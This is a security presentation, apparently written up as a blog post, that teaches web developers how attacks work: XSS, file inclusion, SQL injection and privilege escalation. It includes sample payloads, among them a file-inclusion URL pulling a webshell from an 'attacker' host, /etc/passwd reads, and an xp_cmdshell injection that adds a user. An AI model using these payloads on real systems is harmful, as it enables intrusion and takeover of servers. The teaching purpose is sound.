How to defend against hacker attacks if you don't know how they do it?
This presentation's objective is to give you some background on information security, especially web application security. It's an important topic for us developers so we don't write unsafe software.
If you're thinking "this is the sysadmin's problem", I hope to show you that's not entirely the case.
A complete intrusion attempt follows this process:
Enumerate targets
Find information about target machines/networks. What services/software they're running, are there known vulnerabilities, any weak permissions for ftp/ssh/exposed filesystem shares/, any extra information that can be useful for mounting an attack?
This part is usually done with tools like nmap, nessus and other scanners.
Escalate permissions
The attacker tries to escalate her permissions in this part. Create/log in as an authenticated user, try to get admin privileges in the web application, or do anything that increases the access level she currently has.
Get remote code execution (low-privilege shell)
Use the credentials/vulnerabilities found in the enumeration stage to find a way to execute code in the target machine. Try to get a remote shell if possible.
Privilege escalation
In possession of a low-privilege shell, we may or may not be able to perform operations in the target system. This stage attempts to escalate the privileges of the shell even further, up to the superuser/admin level.
Easiest way to get into a system, it's almost considered cheating. Some things to watch out for:
Known default credentials
If you run software with default credentials and expose it to the web, expect some automated scanner to try these.
Weak credentials
Security researchers / hackers usually compile commonly-used passwords and credentials into something we call a wordlist. These can be used to check for weak credentials, obvious stuff that a hacker would certainly test.
Brute force attacks
Nowadays, most software implements some sort of login attempt limit (fail2ban and equivalents), but it's not unusual to see outdated software that is still vulnerable to this sort of issue. Or maybe a new/obscure piece of software that wasn't battle-tested.
Password reuse
If one system you use is breached and credentials are leaked, they can be used to get access to other systems in case you reused the password. The "breach" doesn't even need to be a full hack - sometimes just a user enumeration vulnerability is enough.
Mitigations: use stronger passwords, avoid reusing credentials, limit login attempts.
Since my audience is mostly web developers (front and back end), these should be the main focus during code reviews. As you'll see, these are usually subtle, and don't show up as:
system($ULTRA_MALICIOUS_STRING)
Bash 1st release: 1989
Shellshock public disclosure: 2014
Almost every hacking attempt will involve some variation of the following:
This means that we, developers, should be extra careful with point 2! Sometimes we unwittingly execute more code than we should, especially when we allow unsanitized data as parameters to our code.
Example: Consider the following piece of PHP code:
preg_replace($_GET['REGEX'],$_GET['REPLACE']);
Seems reasonable, until you consider that we could be executing the following:
preg_replace("/.*/e","system('echo /etc/passwd')");
This modifier will evaluate the replacement as code before it is replaced as text. So, had we written it, we'd have a hidden code injection bug right under our noses.
This is not specific to PHP and could happen with any language that has some sort of eval function. So we should take extra care not to introduce these bugs in the first place.
Short for cross-site scripting, which doesn't seem like anything. I prefer the definition given by Daniel Miessler here:
I think XSS should have been called Forced JavaScript Injection, or just JavaScript Injection. (…) The short version of XSS is that attackers find various ways to force a victim to execute JavaScript, and those JavaScript payloads then have various effects.
In the context of a web application, we can do a lot if we have some control over the user's browser, e.g. leak auth cookies, keylog, phish, redirect to a malicious page.
An example would be something like the following ERB code:
<b><%= "Hello #{params[:name]}" %></b>
This bypasses Rails' auto-escaping of ERB buffers and renders the name parameter unescaped in the HTML, which makes it vulnerable to input like the following:
https://vulnerablerails/failview?name=<script>alert(1)</script>
This would render the script inline in the resulting HTML, thus enabling any attacker to inject JS code in clients' machines.
One well-known tool for this is the Browser Exploitation Framework (BeEF for short):
If you're interested in learning more, I recommend this online tutorial: https://excess-xss.com/. There is also a more in-depth article that specifically targets JS front-ends with Rails back-ends here: https://molily.de/xss/.
Mitigations: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Short for local/remote file inclusion, these vulnerabilities are thus defined by Wikipedia:
This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.
In other words, eval again! This is an issue that is usually found in PHP applications, since its prevalent coding style makes heavy use of that (include on user input, php://input vulnerability), about which you can read more here: https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
A simple example of this would be the following PHP code for internationalization:
if ( isset( $_GET['language'] ) ) { include( $_GET['language'] . '.php' ); }
This wouldn't be a problem if not for the following completely valid requests:
https://damnvulnerablehost/vuln-script.php?language=https://attacker/webshell.txt?
Includes a remote file from the attacker's host, could be potentially a webshell or a reverse shell snippet, or anything else that allows code execution on the vulnerable server.
https://damnvulnerablehost/vuln-script.php?language=/etc/passwd
This would leak information about the server's users, potentially leaving it open to brute-force attacks (since users would be known).
https://damnvulnerablehost/vuln-script.php?language=C:\\ftp\\upload\\exploit
Another RCE possibility, in this scenario a vulnerable ftp server would be used to upload a malicious exploit.php script, which then would be executed through this vulnerable page.
Even though PHP is the butt of security jokes, make no mistake, other languages are vulnerable to this sort of issue as well:
From Wikipedia:
SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
This can be used to leak credentials from the database, and in some cases even allows remote code execution.
Consider the following code (courtesy of the section on SQLi of the PHP manual) doing a seemingly-innocent query on a MS-SQL system:
$query = "SELECT * FROM products WHERE id LIKE '%$prod%'"; $result = mssql_query($query);
If $prod is an unsanitized input variable (maybe a post parameter), we can control what gets executed in that query. MS SQL allows us to do a lot of interesting things with it, including executing system commands.
This means that something like the following could be running:
// $prod = "a%' exec master..xp_cmdshell 'net user test testpass /ADD' --"; $query = "SELECT * FROM products WHERE id LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD' --%'"; $result = mssql_query($query);
Congrats, anyone can add an user to your system!
The recent rise in NoSQL has also brought a variant of this attack - only difference being that the syntax is quite different from SQL.
More details on that in this article: https://blog.sqreen.io/mongodb-will-not-prevent-nosql-injections-in-your-node-js-app/
Mitigations: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
There are other forms of code injection. Some of the most well-known:
Also, other types of attacks not covered here: path traversal bugs, other services' exploits (ftp, ssh, SMB, web servers, DNS, Active Directory…the list just goes on).
Once an attacker has remote code execution, she will try to upgrade permissions to the highest level possible: administrator / root user. Since we the audience is a Unix shop, I'll focus on the techniques most useful for this OS family.
This section will be kept light as it varies a lot from system to system. These are just some rough guidelines, some things to keep an eye for.
The idea is to abuse a root-privileged program to which you somehow have access to. It could be a SQL server to which you can log in and escape to a privileged shell, or something like that.
Sometimes you're lucky and you get in through a web server that executes commands as root, so getting a shell is enough.
This is a variation of the last idea. Some programs can spawn a shell, and if these have the suid/sgid bit set, you're able to launch it with privileged access.
A variation on this idea is when there is a root-executed script that is writable by your user - then you are able to control what gets executed and it's pretty much game over by then.
Sometimes you're lucky and able to use a kernel exploit. Maybe the system is old, or just unpatched, or you're a NSA agent and possess a whole library of 0-days…who knows.
This is usually the last resort, what you do when everything else has failed and you still haven't got root.
This is a Vulnhub VM based on everyone's favorite hacker TV show, Mr Robot.
(If you haven't watched it yet, do it! Their technical advisor is Cloudflare's head of security, so the hacking scenes are all feasible. At least for the first 2 seasons…
the main character, a skilled anhedonic hacker, plus the biting commentary on our late capitalist society make this show a must watch)
As stated in the website, it isn't a particularly difficult VM, which is why I chose it to illustrate how simple failures are enough to completely bring down a system. A real-world attack would probably be a little more involved, but the principle is the same.
There is a text version of this walkthrough available here.
Web app security:
Basic reversing/memory corruption (buffer overflows + format string bugs):
Other books I just wanted to mention:
CTFs, wargames and the like:
Interesting YouTube channels: